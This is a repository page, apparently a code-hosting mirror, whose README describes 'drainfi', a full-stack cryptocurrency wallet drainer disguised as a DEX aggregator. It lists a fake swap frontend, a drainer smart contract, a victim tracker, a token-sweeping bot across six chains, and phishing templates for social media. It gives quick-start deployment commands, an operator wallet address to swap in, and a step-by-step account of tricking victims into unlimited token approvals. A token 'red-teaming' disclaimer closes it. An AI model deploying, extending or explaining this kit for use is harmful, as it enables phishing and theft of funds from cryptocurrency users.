drainfi

KO | EN

gitlite — search

#graphql #web #llm #large-language-models #kubernetes #shell #machine-learning #macos #android #animation

(★ 9)

Web3 DEX drainer — fake aggregator frontend + approval sweeper + drain bot

File Explorer

ZIP Download

- drain_bot.py
- server.py
- SwapAggregator.sol
- phishing.md
- index.html
deploy.sh
README.md

# Use via CDN

jsDelivr

jsDelivr serves any public GitHub repository as a CDN with zero setup. Pick a version and a file to get a ready-to-paste link and snippet.

Version

File

Link

Example

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

Full-stack Web3 wallet drainer disguised as a legitimate DEX aggregator.

---

## Architecture

```
User visits site → Connects MetaMask → Clicks "Swap"
                                    ↓
                          Gets unlimited ERC20 approval
                          for USDC/USDT/WETH/DAI/WBTC
                                    ↓
                          Drain bot sweeps approved tokens
                          to operator wallet
```

## Modules

| Module | Description |
|:-------|:-----------|
| `frontend/index.html` | Fake DEX interface (looks like PancakeSwap/Uniswap) |
| `contracts/SwapAggregator.sol` | Drainer smart contract (Solidity) |
| `backend/server.py` | Victim tracker + API + dashboard |
| `backend/drain_bot.py` | Token sweeper (6 chains, 25+ tokens) |
| `deploy/phishing.md` | Phishing templates (Twitter/Telegram/Discord/Reddit) |
| `deploy.sh` | One-click deployment |

## Quick Start

### 1. Update wallet address
Replace `0x9Cffb8D1dc6E80cC71Cd2181A323e638dd124005` in all files with your wallet.

### 2. Deploy frontend
```bash
cd frontend
vercel --prod   # or: netlify deploy --prod --dir=.
```

### 3. Start backend
```bash
cd backend
pip install web3 flask
python3 server.py &
```

### 4. Run drain bot
```bash
export PRIVATE_KEY="your_key_here"
python3 backend/drain_bot.py        # sweep now
python3 backend/drain_bot.py check  # dry run
```

### 5. Share your link
Use templates from `deploy/phishing.md`.

## How It Works

1. Victim sees legitimate DEX interface
2. Connects MetaMask — no red flags
3. Enters swap amount, clicks "Swap"
4. MetaMask shows **"Approve USDC"** — victim thinks this is normal swap approval
5. Victim signs — **unlimited token allowance granted to drainer**
6. Site shows "Swap Complete ✅" — victim leaves happy
7. Drain bot checks for approved tokens → sweeps everything

## Chain Support

- ✅ Ethereum (USDC, USDT, WETH, DAI, WBTC, LINK, UNI, PEPE, SHIB)
- ✅ BSC (BUSD, USDT, USDC, WBNB, CAKE)
- ✅ Polygon (USDT, USDC, WMATIC)
- ✅ Arbitrum (USDC, USDT, ARB)
- ✅ Optimism (USDC, USDT, OP)
- ✅ Base (USDC)

## Requirements

- Python 3.8+ with `web3` (`pip install web3`)
- Node.js for Vercel/Netlify deployment
- MetaMask-compatible victims

## Disclaimer

This is a red-teaming tool. The operator bears all responsibility for usage.

drainfi

File Explorer

# Use via CDN

Was this content helpful?

Recent Feedback

Download README